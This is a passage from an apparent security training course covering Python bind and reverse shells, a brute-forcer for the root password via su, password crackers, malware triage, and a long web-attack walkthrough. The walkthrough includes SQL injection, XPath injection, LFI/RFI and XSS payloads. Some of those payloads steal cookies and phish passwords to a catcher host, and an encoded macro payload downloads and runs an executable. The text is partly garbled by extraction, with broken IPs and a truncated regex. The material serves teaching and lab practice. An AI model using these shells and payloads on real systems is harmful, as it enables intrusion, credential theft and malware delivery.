print '-Binding the port on '
ls.listen(1)
print '-Listening, '
(conn, addr) = ls.accept()
print '-Waiting for connection...'
cli= conn.fileno()
print '-Redirecting shell...'
os.dup2(cli, 0)
print 'In, '
os.dup2(cli, 1)
print 'Out, '
os.dup2(cli, 2)
Page 46
47. scripting_for_infosec
print 'Err'
print 'Done!'
arg0='/bin/sh'
arg1='-a'
args=[arg0]+[arg1]
os.execv(arg0, args)
except(socket.error):
print 'failn'
conn.close()
sys.exit(1)
nc TARGETIP 31337
---------------------
Preparing the target for a reverse shell
$ ncat -lvp 4444
--open another terminal--
wget https://www.trustedsec.com/files/simple_py_shell.py
vi simple_py_shell.py
-------------------------------
Tricky shells
Reference:
http://securityweekly.com/2011/10/python-one-line-shell-code.html
http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-pyth
on-z/
Page 47
48. scripting_for_infosec
#############################
# Reference Videos To Watch #
#############################
Here is your third set of youtube videos that I'd like for you to watch:
https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
#################################################
# Lesson 25: Python Functions & String Handling #
#################################################
Python can make use of functions:
http://www.tutorialspoint.com/python/python_functions.htm
Python can interact with the 'crypt' function used to create Unix passwords:
http://docs.python.org/2/library/crypt.html
Tonight we will see a lot of the split() method so be sure to keep the following
references close by:
http://www.tutorialspoint.com/python/string_split.htm
Tonight we will see a lot of slicing so be sure to keep the following references
close by:
http://techearth.net/python/index.php5?title=Python:Basics:Slices
################################
# Lesson 26: Password Cracking #
################################
wget https://s3.amazonaws.com/SecureNinja/Python/htcrack.py
vi htcrack.py
vi list.txt
Page 48
49. scripting_for_infosec
hello
goodbye
red
blue
yourname
tim
bob
htpasswd -nd yourname
- enter yourname as the password
python htcrack.py joe:7XsJIbCFzqg/o list.txt
sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
rm -rf mechanize-0.2.5.tar.gz
sudo /bin/bash
passwd
***set root password***
vi rootbrute.py
#!/usr/bin/env python
import sys
try:
import pexpect
except(ImportError):
print "nYou need the pexpect module."
print "http://www.noah.org/wiki/Pexpectn"
sys.exit(1)
#Change this if needed.
# LOGIN_ERROR = 'su: incorrect password'
LOGIN_ERROR = "su: Authentication failure"
Page 49
50. scripting_for_infosec
def brute(word):
print "Trying:",word
child = pexpect.spawn('/bin/su')
child.expect('Password: ')
child.sendline(word)
i = child.expect (['.+s#s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
if i == 1:
print "Incorrect Password"
if i == 2:
print "nt[!] Root Password:" ,word
child.sendline ('id')
print child.before
child.interact()
if len(sys.argv) != 2:
print "nUsage : ./rootbrute.py <wordlist>"
print "Eg: ./rootbrute.py words.txtn"
sys.exit(1)
try:
words = open(sys.argv[1], "r").readlines()
except(IOError):
print "nError: Check your wordlist pathn"
sys.exit(1)
print "n[+] Loaded:",len(words),"words"
print "[+] BruteForcing...n"
for word in words:
brute(word.replace("n",""))
References you might find helpful:
http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-p
ython
wget https://s3.amazonaws.com/SecureNinja/Python/md5crack.py
Page 50
51. scripting_for_infosec
vi md5crack.py
Why use hexdigest
http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
http://md5online.net/
wget https://s3.amazonaws.com/SecureNinja/Python/wpbruteforcer.py
#############################
# Reference Videos To Watch #
#############################
Here is your forth set of youtube videos that I'd like for you to watch:
https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
###############################
# Lesson 28: Malware Analysis #
###############################
############################
# Download the Analysis VM #
Page 51
52. scripting_for_infosec
############################
http
- Log in to your Ubuntu system with the username 'malware' and the password
'malware'.
- After logging please open a terminal window and type the following commands:
cd Desktop/
- This is actual Malware (remmeber to run it in a VM - the password to extract it is
'infected':
wget h
unzip malware-password-is-infected.zip
infected
file malware.exe
mv malware.exe malware.pdf
file malware.pdf
mv malware.pdf malware.exe
hexdump -n 2 -C malware.exe
***What is '4d 5a' or 'MZ'***
Reference:
http://www.garykessler.net/library/file_sigs.html
objdump -x malware.exe
strings malware.exe
strings --all malware.exe | head -n 6
strings malware.exe | grep -i dll
strings malware.exe | grep -i library
strings malware.exe | grep -i reg
strings malware.exe | grep -i hkey
Page 52
53. scripting_for_infosec
strings malware.exe | grep -i hku
- We didn't see anything like HKLM, HKCU or other
registry type stuff
strings malware.exe | grep -i irc
strings malware.exe | grep -i join
strings malware.exe | grep -i admin
strings malware.exe | grep -i list
- List of IRC commands:
https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
sudo apt-get install -y python-pefile
vi analyse_malware.py
python analyse_malware.py malware.exe
Building a Malware Scanner
--------------------------
mkdir ~/Desktop/malwarescanner
cd ~/Desktop/malwarescanner
wget https://github.com/jonahbaron/malwarescanner/archive/master.zip
unzip master.zip
cd malwarescanner-master/
python scanner.py -h
cat strings.txt
cat hashes.txt
mkdir ~/Desktop/malcode
cp ~/Desktop/malware.exe ~/Desktop/malcode
Page 53
54. scripting_for_infosec
python scanner.py -H hashes.txt -D /home/malware/Desktop/malcode/ strings.txt
cp ~/Desktop/
#####################################################
# Analyzing Macro Embedded Malware #
# Reference: #
# https://jon.glass/analyzes-dridex-malware-p1/ #
#####################################################
cp ~/Desktop/
- Create a FREE account on:
https://malwr.com/account/signup/
- Grab the malware from:
https://malwr.com/analysis/MzkzMTk3MzBlZGQ2NDRhY2IyNTc0MGI5MWQwNzEwZmQ/
file
~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin
cat ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin
sudo pip install olefile
mkdir ~/Desktop/oledump
cd ~/Desktop/oledump
wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
unzip oledump_V0_0_22.zip
cp ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin
.
mv f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin 064016.doc
python oledump.py 064016.doc
python oledump.py 064016.doc -s A4 -v
- From this we can see this Word doc contains an embedded file called editdata.mso
Page 54
55. scripting_for_infosec
which contains seven data streams.
- Three of the data streams are flagged as macros: A3:’VBA/Module1 ,
A4:’VBA/Module2 , A5:’VBA/ThisDocument’.
python oledump.py 064016.doc -s A5 -v
- As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical
functions designed to confuse heuristic scanners.
python oledump.py 064016.doc -s A3 -v
- Look for "GVhkjbjv" and you should see:
636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970
617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E57656243
6C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173
616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20
657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F69
6F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578
653B
- Take that long blob that starts with 636D and finishes with 653B and paste it in:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
##############
# Yara Ninja #
##############
cd ~/Desktop
sudo apt-get remove -y yara
wget https://github.com/plusvic/yara/archive/v3.4.0.zip
sudo apt-get -y install libtool
unzip v3.4.0.zip
cd yara-3.4.0
./bootstrap.sh
./configure
Page 55
56. scripting_for_infosec
make
sudo make install
yara -v
cd ..
wget https://github.com/Yara-Rules/rules/archive/master.zip
unzip master.zip
cd ~/Desktop
yara rules-master/packer.yar malcode/malware.exe
Places to get more Yara rules:
------------------------------
https://malwareconfig.com/static/yaraRules/
https://github.com/kevthehermit/YaraRules
https://github.com/VectraThreatLab/reyara
Yara rule sorting script:
-------------------------
https://github.com/mkayoh/yarasorter
cd ~/Desktop/rules-master
for i in $( ls --hide=master.yar ); do echo include "$i";done > master.yar
cd ~/Desktop/
yara rules-master/master.yar malcode/malware.exe
Here is a 2 million sample malware DB created by Derek Morton that you can use to
start your DB with:
http://derekmorton.name/files/malware_12-14-12.sql.bz2
Page 56
57. scripting_for_infosec
Malware Repositories:
http://malshare.com/index.php
http://www.malwareblacklist.com/
http://www.virusign.com/
http://virusshare.com/
http://www.tekdefense.com/downloads/malware-samples/
###############################
# Creating a Malware Database #
###############################
Creating a malware database (sqlite)
------------------------------------
sudo apt-get install -y python-simplejson python-simplejson-dbg
wget https://malwarecookbook.googlecode.com/svn/trunk/4/4/avsubmit.py
w
unzip malware-password-is-infected.zip
infected
python avsubmit.py --init
python avsubmit.py -f malware.exe -e
Creating a malware database (mysql)
-----------------------------------
- Step 1: Installing MySQL database
- Run the following command in the terminal:
sudo apt-get install mysql-server
- Step 2: Installing Python MySQLdb module
- Run the following command in the terminal:
sudo apt-get build-dep python-mysqldb
sudo apt-get install python-mysqldb
Step 3: Logging in
Run the following command in the terminal:
mysql -u root -p (set a password of 'malware')
Page 57
58. scripting_for_infosec
- Then create one database by running following command:
create database malware;
exit;
wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
vi mal_to_db.py (fill in database connection information)
python mal_to_db.py -i
python mal_to_db.py -f malware.exe -u
mysql -u root -p
malware
mysql> use malware;
select id,md5,sha1,sha256,time FROM files;
mysql> quit;
######################################
# PCAP Analysis with forensicPCAP.py #
######################################
cd ~/Desktop
wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
sudo easy_install cmd2
python forensicPCAP.py Browser Forensics/suspicious-time.pcap
ForPCAP >>> help
Prints stats about PCAP
ForPCAP >>> stat
Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id
which can be use with the "show" command.
ForPCAP >>> dns
ForPCAP >>> show
Page 58
59. scripting_for_infosec
Prints all destination ports from the PCAP file. The id before the DNS is the
packet's id which can be use with the "show" command.
ForPCAP >>> dstports
ForPCAP >>> show
Prints the number of ip source and store them.
ForPCAP >>> ipsrc
Prints the number of web's requests and store them
ForPCAP >>> web
Prints the number of mail's requests and store them
ForPCAP >>> mail
###################
# Memory Analysis #
###################
cd /home/malware/Desktop/Banking Troubles/Volatility
python volatility
python volatility pslist -f ../hn_forensics.vmem
python volatility connscan2 -f ../hn_forensics.vmem
python volatility memdmp -p 888 -f ../hn_forensics.vmem
python volatility memdmp -p 1752 -f ../hn_forensics.vmem
***Takes a few min***
strings 1752.dmp | grep "^http://" | sort | uniq
strings 1752.dmp | grep "Ahttps://" | uniq -u
cd ..
foremost -i ../Volatility/1752.dmp -t pdf -o output/pdf2
cd /home/malware/Desktop/Banking Troubles/foremost-1.5.7/output/pdf2/
cat audit.txt
cd pdf
ls
grep -i javascript *.pdf
cd /home/malware/Desktop/Banking Troubles/foremost-1.5.7/output/pdf5/pdf
wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
unzip pdf-parser_V0_6_4.zip
Page 59
60. scripting_for_infosec
python pdf-parser.py -s javascript --raw 00600328.pdf
python pdf-parser.py --object 11 00600328.pdf
python pdf-parser.py --object 1054 --raw --filter 00600328.pdf > malicious.js
cat malicious.js
*****Sorry - no time to cover javascript de-obfuscation today*****
cd /home/malware/Desktop/Banking Troubles/Volatility/
python volatility files -f ../hn_forensics.vmem > files
cat files | less
python volatility malfind -f ../hn_forensics.vmem -d out
ls out/
python volatility hivescan -f ../hn_forensics.vmem
python volatility printkey -o 0xe1526748 -f ../hn_forensics.vmem Microsoft "Windows
NT" CurrentVersion Winlogon
for file in $(ls *.dmp); do echo $file; strings $file | grep bankofamerica; done
Start with simple Firefox Addons:
- ShowIP https://addons.mozilla.org/en-US/firefox/addon/showip/
- Server Spy https://addons.mozilla.org/en-US/firefox/addon/server-spy/
- FoxyProxy
https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
- Tamper Data https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
- Wapalyzer https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/
A good list of web app testing add ons for Firefox:
https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/
##################################
# Basic: Web Application Testing #
##################################
Most people are going to tell you reference the OWASP Testing guide.
https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
I'm not a fan of it for the purpose of actual testing. It's good for defining the
Page 60
61. scripting_for_infosec
scope of an assessment, and defining attacks, but not very good for actually
attacking a website.
The key to doing a Web App Assessment is to ask yourself the 3 web questions on
every page in the site.
1. Does the website talk to a DB?
- Look for parameter passing (ex: site.com/page.php?id=4)
- If yes - try SQL Injection
2. Can I or someone else see what I type?
- If yes - try XSS
3. Does the page reference a file?
- If yes - try LFI/RFI
Let's start with some manual testing against 54.149.82.150
Start here:
http://54.149.82.150/
There's no parameter passing on the home page so the answer to question 1 is NO.
There is however a search box in the top right of the webpage, so the answer to
question 2 is YES.
Try an XSS in the search box on the home page:
<script>alert(123);</script>
Doing this gives us the following in the address bar:
http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>
Ok, so we've verified that there is XSS in the search box.
Let's move on to the search box in the left of the page.
Let's give the newsletter signup box a shot
Moving on to the login page.
http://54.149.82.150/login.aspx
I entered a single quote (') for both the user name and the password. I got the
following error:
-----------------------------------------------------------------
'Users//User[@Name=''' and @Password=''']' has an invalid token.
Page 61
62. scripting_for_infosec
Description: An unhandled exception occurred during the execution of the current web
request. Please review the stack trace for more information about the error and
where it originated in the code.
Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and
@Password=''']' has an invalid token.
Source Error:
Line 112: doc.Load(Server.MapPath("") + @"AuthInfo.xml");
Line 113: string credential = "Users//User[@Name='" + UserName + "' and
@Password='" + Password + "']";
Line 114: XmlNodeList xmln = doc.SelectNodes(credential);
Line 115: //String test = xmln.ToString();
Line 116: if (xmln.Count > 0)
-----------------------------------------------------------------
Hmm....System.Xml.XPath.XPathException.....that's not SQL.
WTF is this:
Line 112: doc.Load(Server.MapPath("") + @"AuthInfo.xml");
In this case you'll have the trap the request with a proxy like:
- Firefox Tamper Data
- Burp Suite http://www.portswigger.net/Burp/proxy.html
- WebScarab
https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
- Rat Proxy https://code.google.com/p/ratproxy/
- Zap Proxy
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
- Paros http://sourceforge.net/projects/paros/
Let's go back to that page error message.....
Let's check it out:
http://54.149.82.150/AuthInfo.xml
Looks like we found passwords!!!!!!!!!!
Page 62
63. scripting_for_infosec
Looks like there no significant new functionality after logging in with the stolen
credentials.
Going back to the homepage...let's see if we can see anything. Figured I'd click on
one of the links
http://54.149.82.150/bookdetail.aspx?id=2
Ok, there is parameter passing (bookdetail.aspx?id=2).
The page name is: bookdetail.aspx
The parameter name is: id
The paramber value is: 2
Let's try throwing a single quote (') in there:
http://54.149.82.150/bookdetail.aspx?id=2'
I get the following error:
Unclosed quotation mark after the character string ''.
Description: An unhandled exception occurred during the execution of the current web
request. Please review the stack trace for more information about the error and
where it originated in the code.
Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after
the character string ''.
#############################################################################
# SQL Injection #
# https #
#############################################################################
Page 63
64. scripting_for_infosec
- Another quick way to test for SQLI is to remove the paramter value
#############################
# Error-Based SQL Injection #
#############################
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE:
"N" - just means to keep going until you run out of databases
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects
where xtype=char(85))--
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects
where xtype=char(85) and name>'bookmaster')--
http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects
where xtype=char(85) and name>'sysdiagrams')--
#############################
# Union-Based SQL Injection #
#############################
http://54.149.82.150/bookdetail.aspx?id=2 order by 100--
http://54.149.82.150/bookdetail.aspx?id=2 order by 50--
http://54.149.82.150/bookdetail.aspx?id=2 order by 25--
http://54.149.82.150/bookdetail.aspx?id=2 order by 10--
http://54.149.82.150/bookdetail.aspx?id=2 order by 5--
http://54.149.82.150/bookdetail.aspx?id=2 order by 6--
http://54.149.82.150/bookdetail.aspx?id=2 order by 7--
http://54.149.82.150/bookdetail.aspx?id=2 order by 8--
http://54.149.82.150/bookdetail.aspx?id=2 order by 9--
http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
We are using a union select statement because we are joining the developer's
query with one of our own.
Reference:
http://www.techonthenet.com/sql/union.php
The SQL UNION operator is used to combine the result sets of 2 or more SELECT
statements.
It removes duplicate rows between the various SELECT statements.
Each SELECT statement within the UNION must have the same number of fields in
the result sets with similar data types.
Page 64
65. scripting_for_infosec
http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
Negating the paramter value (changing the id=2 to id=-2) will force the pages
that will echo back data to be displayed.
http://54.149.82.150/bookdetail.aspx?id=-2 union all select
1,user,@@version,4,5,6,7,8,9--
http://54.149.82.150/bookdetail.aspx?id=-2 union all select
1,user,@@version,@@servername,5,6,7,8,9--
http://54.149.82.150/bookdetail.aspx?id=-2 union all select
1,user,@@version,@@servername,5,6,db_name(0),8,9--
http://54.149.82.150/bookdetail.aspx?id=-2 union all select
1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9
from master.sys.sql_logins--
- Another way is to see if you can get the backend to perform an arithmetic function
http://54.149.82.150/bookdetail.aspx?id=(2)
http://54.149.82.150/bookdetail.aspx?id=(4-2)
http://54.149.82.150/bookdetail.aspx?id=(4-1)
http://54.149.82.150/bookdetail.aspx?id=2 or 1=1--
http://54.149.82.150/bookdetail.aspx?id=2 or 1=2--
http://54.149.82.150/bookdetail.aspx?id=1*1
http://54.149.82.150/bookdetail.aspx?id=2 or 1 >-1#
http://54.149.82.150/bookdetail.aspx?id=2 or 1<99#
http://54.149.82.150/bookdetail.aspx?id=2 or 1<>1#
http://54.149.82.150/bookdetail.aspx?id=2 or 2 != 3--
http://54.149.82.150/bookdetail.aspx?id=2 &0#
###############################
# Blind SQL Injection Testing #
###############################
Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
3 - Total Characters
http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY
'00:00:10'--
http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY
Page 65
66. scripting_for_infosec
'00:00:10'--
http://54.149.82.150/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY
'00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
Let's go for a quick check to see if it's DBO
http://54.149.82.150/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY
'00:00:10'--
Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the
syntax to verify it just for fun.
D - 1st Character
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first
letter is a 100 which is the letter 'd' - it waited 10 seconds)
B - 2nd Character
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it
waited for 10 seconds
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it
waited for 10 seconds
O - 3rd Character
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it
waited for 10 seconds
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good
it waited for 10 seconds
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good
it waited for 10 seconds
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
http://54.149.82.150/bookdetail.aspx?id=2; IF
(ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- Ok, good
it waited for 10 seconds
Page 66
69. scripting_for_infosec
A really simple search page that is vulnerable should come up.
2. In the search box type:
<script>alert('So this is XSS')</script>
This should pop-up an alert window with your message in it proving XSS is in
fact possible.
Ok, click OK and then click back and go back to
http://54.172.112.249/xss_practice/
3. In the search box type:
<script>alert(document.cookie)</script>
This should pop-up an alert window with your message in it proving XSS is in
fact possible and your cookie can be accessed.
Ok, click OK and then click back and go back to
http://554.172.112.249/xss_practice/
4. Now replace that alert script with:
<script>document.location="http://54.172.112.249/xss_practice/cookie_catcher.php?c="
+document.cookie</script>
This will actually pass your cookie to the cookie catcher that we have sitting on
the webserver.
5. Now view the stolen cookie at:
http://54.172.112.249/xss_practice/cookie_stealer_logs.html
The cookie catcher writes to this file and all we have to do is make sure that it
has permissions to be written to.
Page 69
70. scripting_for_infosec
############################
# A Better Way To Demo XSS #
############################
Let's take this to the next level. We can modify this attack to include some
username/password collection. Paste all of this into the search box.
Use Firefox to browse to the following location:
http://54.172.112.249/xss_practice/
Paste this in the search box
----------------------------
Option 1
--------
<script>
password=prompt('Your session is expired. Please enter your password to continue','
');
document.write("<img
src="http://54.172.112.249/xss_practice/passwordgrabber.php?password="
+password+"">");
</script>
Now view the stolen cookie at:
http://54.172.112.249/xss_practice/passwords.html
Option 2
--------
<script>
username=prompt('Please enter your username',' ');
password=prompt('Please enter your password',' ');
document.write("<img
src="http://54.172.112.249/xss_practice/unpw_catcher.php?username="+username+"&pass
word="+password+"">");
</script>
Page 70
71. scripting_for_infosec
Now view the stolen cookie at:
http://54.172.112.249/xss_practice/username_password_logs.html
#########################################
# Let's kick it up a notch with ASP.NET #
# http://54.200.178.220/ #
#########################################
The trading Web App is on http://54.200.178.220/
Try the following in the search box:
<script>alert(123);</script>
' or 1=1
' and a=a
1=1
Joe'+OR+1=1;--
<script>alert(123);</script>
Open a new tab in firefox and try this:
http://54.200.178.220/Searchresult.aspx?<script>alert(123);</script>=ScriptName
Try the contact us form.
Open a new tab in firefox and try this:
http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini
Try this on the inquiry form:
Joe McCray
1234567890
) waitfor delay '00:00:10'--
Login Box:
' or 1=1 or ''='
anything (click login instead of pressing enter)
Page 71
72. scripting_for_infosec
Tamper Data: (notice 2 session IDs)
AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
IsAdmin=yes;
ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
Profile - Detail (tamper data)
Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"rnrnjoern
joe|set
xss_upload.txt (Upload Bulk Order)
<script>alert(123);</script>
###############################
# How much fuzzing is enough? #
###############################
There really is no exact science for determining the correct amount of fuzzing per
parameter to do before moving on to something else.
Here are the steps that I follow when I'm testing (my mental decision tree) to
figure out how much fuzzing to do.
Step 1: Ask yourself the 3 questions per page of the site.
Step 2: If the answer is yes, then go down that particular attack path with a few
fuzz strings (I usually do 10-20 fuzz strings per parameter)
Step 3: When you load your fuzz strings - use the following decision tree
- Are the fuzz strings causing a default error message (example 404)?
- If this is the case then it is most likely NOT vulnerable
- Are the fuzz strings causing a WAF or LB custom error message?
- If this is the case then you need to find an encoding method to bypass
- Are the fuzz strings causing an error message that discloses the backend type?
- If yes, then identify DB type and find correct syntax to successfully
exploit
- Some example strings that I use are:
'
Page 72
73. scripting_for_infosec
"
() <----- Take the parameter value and put it in parenthesis
(5-1) <----- See if you can perform an arithmetic function
- Are the fuzz strings rendering executable code?
- If yes, then report XSS/CSRF/Response Splitting/Request Smuggling/etc
- Some example strings that I use are:
<b>hello</b>
<u>hello</u>
<script>alert(123);</script>
<script>alert(xss);</script>
<script>alert('xss');</script>
<script>alert("xss");</script>
############################
# Trading Web App with WAF #
# http://54.213.131.105 #
############################
Try the following in the search box:
<script>alert(123);</script>
<script>alert(123);</script
<script>alert(123)
<script>alert
<script>
<script
<scrip
<scri
<scr
<sc
<s
<p
<
< s
Joe'+OR+1=1;--
Open a new tab in firefox and try this:
http://54.213.131.105/Searchresult.aspx?%u003cscript>prompt(123)%u003c/script>=Scrip
tName
Page 73
74. scripting_for_infosec
xss_upload.txt (Upload Bulk Order)
<script>alert(123);</script>
Login Box:
' or 1=1 or ''='
anything
Tamper Data: (notice 2 session IDs)
AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5
IsAdmin=yes;
ASP.NET_SessionId=d10dlsvaq5uj1g550sotcg45
Profile - Detail (tamper data)
Disposition: form-data; name="ctl00$contentMiddle$HiddenField1"rnrnjoern
joe|set
###########################################################
# Attacking an Oracle/JSP based WebApp with SQL Injection #
###########################################################
http://54.69.156.253:8081/bookcompany/
user: a' OR 'a'='a
pass: a' OR 'a'='a
Page 74
75. scripting_for_infosec
http://54.69.156.253:8081/bookcompany/author.jsp?id=111
[ Search by Username ] Joe' OR 'a'='a
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' OR '1'='1
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or
1=utl_inaddr.get_host_address((select banner from v$version where rownum=1))--
Host is running:
Page 75
76. scripting_for_infosec
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or
1=utl_inaddr.get_host_address((SELECT user FROM dual))--
User is:
http://54.69.156.253:8081/bookcompany/faq.jsp?id=111&qid=1' or
1=utl_inaddr.get_host_address((SELECT global_name FROM global_name))--
Current database is:
RAW Paste Data
######################
# Lesson 27: Web App #
######################
vi wpbruteforcer.py
python wpbruteforcer.py -t
- Here is an example of an LFI
- Open this page in Firefox:
http://54.172.112.249/showfile.php?filename=contactus.txt
- Notice the page name (showfile.php) and the parameter name (filename) and the
filename (contactus.txt)
- Here you see a direct reference to a file on the local filesystem of the victim
machine.
- You can attack this by doing the following:
http://54.172.112.249/showfile.php?filename=/etc/passwd
- This is an example of a Local File Include (LFI), to change this attack into a
Remote File Include (RFI) you need some content from
- somewhere else on the Internet. Here is an example of a text file on the web:
http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin/
t/data/etc/hello.txt
- Now we can attack the target via RFI like this:
http://54.172.112.249/showfile.php?filename=http://www.opensource.apple.com/source/S
Page 76
77. scripting_for_infosec
pamAssassin/SpamAssassin-127.2/SpamAssassin/t/data/etc/hello.txt
- Now let's see if we can write some code to do this for us:
vi LFI-RFI.py
#!/usr/bin/env python
print "n### PHP LFI/RFI Detector ###"
print "### Sean Arries 09/18/09 ###n"
import urllib2,re,sys
TARGET = "http://554.172.112.249/showfile.php?filename=contactus.txt"
RFIVULN =
"http://www.opensource.apple.com/source/SpamAssassin/SpamAssassin-127.2/SpamAssassin
/t/data/etc/hello.txt?"
TravLimit = 12
print "==> Testing for LFI vulns.."
TARGET = TARGET.split("=")[0]+"=" ## URL MANUPLIATION
for x in xrange(1,TravLimit): ## ITERATE THROUGH THE LOOP
TARGET += "../"
try:
source = urllib2.urlopen((TARGET+"etc/passwd")).read() ## WEB REQUEST
except urllib2.URLError, e:
print "$$$ We had an Error:",e
sys.exit(0)
if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE
print "!! ==> LFI Found:",TARGET+"etc/passwd"
break ## BREAK LOOP WHEN VULN FOUND
print "n==> Testing for RFI vulns.."
TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION
try:
source = urllib2.urlopen(TARGET).read() ## WEB REQUEST
except urllib2.URLError, e:
print "$$$ We had an Error:",e
sys.exit(0)
if re.search("j,source): ## SEARCH FOR TEXT IN SOURCE
print "!! => RFI Found:",TARGET
print "nScan Completen" ## DONE
Page 77